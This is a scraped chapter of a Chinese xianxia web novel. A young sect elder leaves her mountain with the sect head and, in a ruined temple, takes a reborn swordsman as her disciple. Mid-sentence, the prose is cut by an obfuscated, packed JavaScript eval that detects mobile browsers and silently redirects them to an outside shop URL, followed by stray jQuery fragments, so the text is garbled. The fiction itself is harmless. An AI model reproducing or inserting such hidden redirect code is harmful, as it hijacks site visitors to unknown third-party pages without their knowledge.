文趣网 > 其他小说 > 师祖她天下第一 > 3. 破庙
    钱珠祭奠完师祖,便又提上两壶梨酒,去往天立峰寻找齐灏。

    齐灏是天立峰峰主,座下有亲传弟子二十八位,平日里修行认真刻苦。见钱珠来,齐灏有些惊讶,但还是停下手头的事,将她迎进屋内。

    “小师祖,今日怎么得空来天立峰?”齐灏为她沏茶,清香微苦的水汽蒸腾上来,模糊了钱珠那张沉静的脸。

    茶汤注入白瓷杯,汤色微黄清润,钱珠捧起来吹了吹,小啜一口后,方才回道:“齐长老,今日我来,是有求于您。”

    齐灏在她对面坐下,听闻此言来了些兴趣,一手支着脸,一手拿起茶杯道:“但说无妨。”

    于是钱珠睁着双浑圆的大眼,水粼粼地看着他:“我想下山,你可否随我而去?”

    “噗。”齐灏被茶水呛了一口,放下茶杯连连咳嗽,好不容易顺过了气,他抬起头,蹙眉问道,“为何突然要下山?”

    “因为,”钱珠不想让他太过担心,遂胡乱编了个理由,“我太久没下山了,我想再去看看。”

    齐灏狐疑地看着她。

    自她经过那事后,整整四年,她只在秦门活动,别说下山,就是山门也没出过。整日里不是在藏书阁查阅典籍,就是将自己关在匿园,至于在干什么,外人谁也不知道。

    如今究竟是为了什么事,让她放下心结,要下山去?

    钱珠被他看得有些心虚,头不自觉地低了下去。齐灏见她这样,也不好再追问于她,于是找了个理由婉拒道:“掌门入关前便说,若无他允许,你不可下山。”

    “……是吗?”听到是第五沄下的令,钱珠颇为失望,只好垂头丧气道,“那等他出关好了。”

    虽然她在门中地位高,仔细算来,第五沄算她的后辈,但此人一言九鼎,为人清正,又是一门之主,平日里对她管束颇多。齐灏又最为耿直,第五沄的话,他向来是铭记于心。

    但钱珠虽嘴上这么说,心里却在偷偷想着,等会要将那两坛梨酒拿走,带去另一边的无忧峰。

    无忧峰峰主花云乐是个乐观胆大的妙人,与钱珠相交甚好,又不似齐灏那般古板守旧。只要是钱珠想做的事,她没有不支持的。即便是第五沄的话,若是与钱珠意见相悖,她也会先听钱珠的。

    钱珠与她,有时候算是蛇鼠一窝,狼狈为奸。

    果不其然,到了无忧峰,花云乐一听钱珠的请求,立马开了一坛梨酒,豪气万丈地与她碰杯:“小师祖,你的安危,就包在我身上吧!”

    钱珠心下稍安,但一想到山下潜在的危机,她还是提醒道:“山下危险……”

    花云乐利落地打断了她:“我必将你全须全尾地带回来,不必犹疑。”

    清甜的梨酒入喉,赋予人无穷愉悦,花云乐笑眯眯地拍了拍钱珠的肩,安抚道:“相信我呀。”

    钱珠点点头,正要与她商议下山细节,无忧峰的峰门忽然传来一阵极为浓烈的气息。不等二人反应,那气息已至房前,近乎无礼地推开了房门。

    “不可。”

    熟悉的冷冽声音响起,来人剑眉凛然,凤目低垂,墨色长发由镶玉银冠竖起,横插一支兰簪。一身月白色缝金边的衣衫将他裹住,举止雅正无人可及,在摇曳树影中,仿佛一块精心雕磨的美玉。

    清冷卓绝,如高崖之华。

    是秦门掌门第五沄。

    钱珠有些呆愣地看着他。按理来说,他应该还有两月才能出关,怎么今日就出来了……

    第五沄长身玉立于门前,目光扫过了心虚的钱珠,向花云乐行了一礼,声音却带着些不满:“一时心急,冒犯了花峰主。”

    花云乐呵呵笑着,先前的万丈豪情顷刻没了个干净。她从案前站起,一边说着“无事”,一边脚底抹油,从第五沄身侧溜了出去。

    钱珠目瞪口呆地看着她火速倒戈,全然忘了方才许下的诺言,等到她的身影彻底在目光中消失,她才反应过来,想要出声叫住她:“花峰主……”

    “小师祖。”第五沄冷冷地打断她。

    眼前忽然一暗,第五沄已行至钱珠案前。或许是觉得就这样责问她太过居高临下,第五沄顿了一下,然后撩起袖袍,跪坐在了钱珠面前。

    这下钱珠的表情便尽收眼底了。面对这个略带严厉的掌门,钱珠心里有些发虚,她避开他探究的目光,头低低垂着,手在案下搅在一起,不知该如何开口。

    自从师祖身死,师父失踪后,她陷入了一种无拘无束的空虚之中。以前她不喜欢太被人管着,可当这一天真的到来时,她又觉得痛苦。一想到此生就要这样无牵无挂地走下去,她眼中酸涩,心如汤浇。

    可就在这个时候,第五沄站了出来。

    第五沄是秦门开山二祖之一霄霁一脉第十三代弟子,自霄霁飞升后,他从一众弟子中拔得头筹,被推举做了掌门。接手秦门后,他弘道扬善,一马当先,秦门被他治理得蒸蒸日上,得以挤入三宗九派之列。

    就是这样一个人,面对接二连三遭受打击的商允一脉,他也毅然决然将其纳入自己羽翼之下。

    其实钱珠并不太需要他保护,只是突然又有人开始管自己,她感觉接下来的日子也不是那么难过了。

    从某种意义上来说,第五沄算是她的长辈。

    做错了事后面对长辈,她向来是有点发怵的。

    只是这一次,第五沄没有像以往那样训斥她。他收了方才难以抑制的某些情绪,平心静气地问她:“为何一定要下山?”

    钱珠不知该如何回答。

    那些哄峰主的话自然哄不住掌门,若是说自己于梦中得到指点,或许会引起更多的麻烦。左右解释不通,她干脆闭嘴,保持缄默,试图以此蒙混过关。

    见她不语,第五沄长叹一声,又没头没尾地问了一句:“现在过得不好吗?”

    钱珠仍然沉默着。

    她低着头,回想这四年中的一切,很难将它归纳为一个“好”字。

    她无牵无挂,也不再担惊受怕,秦门里的人都尊她敬她,看起来似乎没有任何烦恼。

    可她虽修为停滞,心火却未曾熄灭。

    师祖所描绘的海上仙山,她从未去看过;师父曾生活的西南丛林,她也尚未涉足。十重春生剑法,她才学到了六重;灵真神秘的祭祀、飨天、双生成圣,她也只在匿园的书里管中窥豹,未曾得见真容。

    更何况,师祖死亡的真相她也未知晓,师父消失的踪迹她也未寻得。

    长此以往,她甚至觉得,若就此作罢,秦门将会成为她的囚笼。

    痛苦细细密密地漫上来,钱珠短促地吸了口气,决绝地摇头:“不好。”

    第五沄平静地看着她。

    他以为就算说不上好,至少也是风平浪静的。却没曾想,这样的保护,于她而言并不好。

    长鸿飞冥冥,钱珠生来就是天上的鸟儿,即使此后的人生波谲云诡,生死交加,可这是她所期望的啊。

    “好。”第五沄经过长久的思考,终于妥协,“我随你下山。”

    二人到达遥城时,已是第三日的夜晚。天上淅淅沥沥下起了小雨,街上摊子大都早早收起,安静得没什么人气。

    遥城城西是穷困人家聚居之地,巴掌大的地方,住了六百余户人。即便如此,一堆杂乱的房子中,还是拥立起一座小小的破庙。

    寂静的破庙里只能听见窗外的雨声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925120|213518||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和窸窸窣窣的老鼠声,内里昏暗、潮湿,不见一丝光亮。身后的第五沄于指尖点了一盏灯,借着这份明亮,钱珠方才看清了坐在佛像下的人。

    陆扩背对着她,好整以暇地坐着。听见声音,瞧见光芒,他低头轻笑一声,声音悦耳,带着笃定:“你终于来了。”

    不知道为何,钱珠第一眼见到陆扩时,竟觉得此人有些熟悉。

    听他所言,似乎他也是这样。

    只不过等到陆扩提衣站起,转身与她四目相对时,她在他眼中看到了讶然。

    少年眉目清隽,有着一双漂亮的湖青眼,身姿矫健有力,一身粗麻破衣挡不住周身气韵。观其气度,察其修行,钱珠也知此人绝非池中之物。

    只是此人一改方才的熟稔,神情颇为疑惑。

    “……你是谁?”陆扩问道。

    见他发问,钱珠也没心思再想其他,只问道:“你是叫陆扩吗?”

    少年迟疑点头。

    下一刻,钱珠已快步走到他身前,伸手拉住了他的衣角。陆扩比她高一个头,因此她只能仰起脸,认真地对他说:“做我的弟子。”

    完完全全的要求,仿佛除了依她,他没有任何其他选择。钱珠也觉得自己的语气太生硬,可她想不了更多了。

    陆扩低头看向立在自己面前的女孩。

    少女脸庞莹润洁白,眼珠如漆黑琉璃,不知是雨还是一路走来太焦急,她脸上起了一层薄薄的水雾,连带着腮鬓边碎发也濡湿蜷曲起来。

    怎么看,都不像是什么高修。

    但在少女身后,在那个一直如鬼魅般立在光源边的男人身上,陆扩嗅到了一丝危险的气息。他毫不怀疑,若此刻他出口拒绝,此人腰间的那把长刀便会即刻搭在他脖子上。

    这两人是怎么出现的?他想不通。明明在上一世,他拜入的是灵真大陆第一宗门不疑城二长老柳匀卿门下,至于这两个至今不报家门之人,他连见也没见过。

    或许也见过,不过是在被踏破山门,成为他千千万万个剑下亡魂之时。死人的脸,那有什么好记的?

    但他如今修为尚浅,依目前局势,他毫无反抗之力。于是陆扩又换上那张温润有礼的面皮,微笑着问钱珠:“做你的弟子,有什么好处?”

    这个问题倒是把钱珠问住了。毕竟她之所以要收他为弟子,只是因为能够由此获得机缘,解除自身的禁制。至于陆扩有什么好处,她从未想过。

    绞尽脑汁想了片刻,钱珠答道:“能够助你登仙。”

    既然载仙谱上有他的名字,那应该是不会错的。

    陆扩失笑。他前世已是灵真大陆天下第一,距离登仙仅一步之遥,但就在那关键时刻,有人暗算于他,六分其身,令其曝尸荒野。

    这女孩又有什么本事,敢说能助他成仙?

    他眸色晦暗,却无法发作。想到这世间于现在的他而言,一切都刚刚开始,他又冷静了些。

    拜入谁的门下都一样。入第一宗门亦不得好死,这一世,他换换又能怎样呢?

    钱珠正忐忑地等待着对面之人的回答。若是他说不,那她会立刻让第五沄将他绑回去。修真之人天长地久,他总会答应的。

    就在她这么想着时,少年却轻点了一下头,应道:“好。”

    钱珠怔了怔。

    然而还没等她高兴,破旧的庙门竟又被打开,今夜的第三位拜访者信步跨入庙中。

    来人一身碧衣华服,腰间长剑坠着夜明珠。刷了桐油的青面纸伞搁在门边,淌下的雨水一路蜿蜒到了钱珠脚下。

    声音也如蛇一般阴冷,带着些狡猾:“在下柳匀卿。”

    “敢问道友大名?”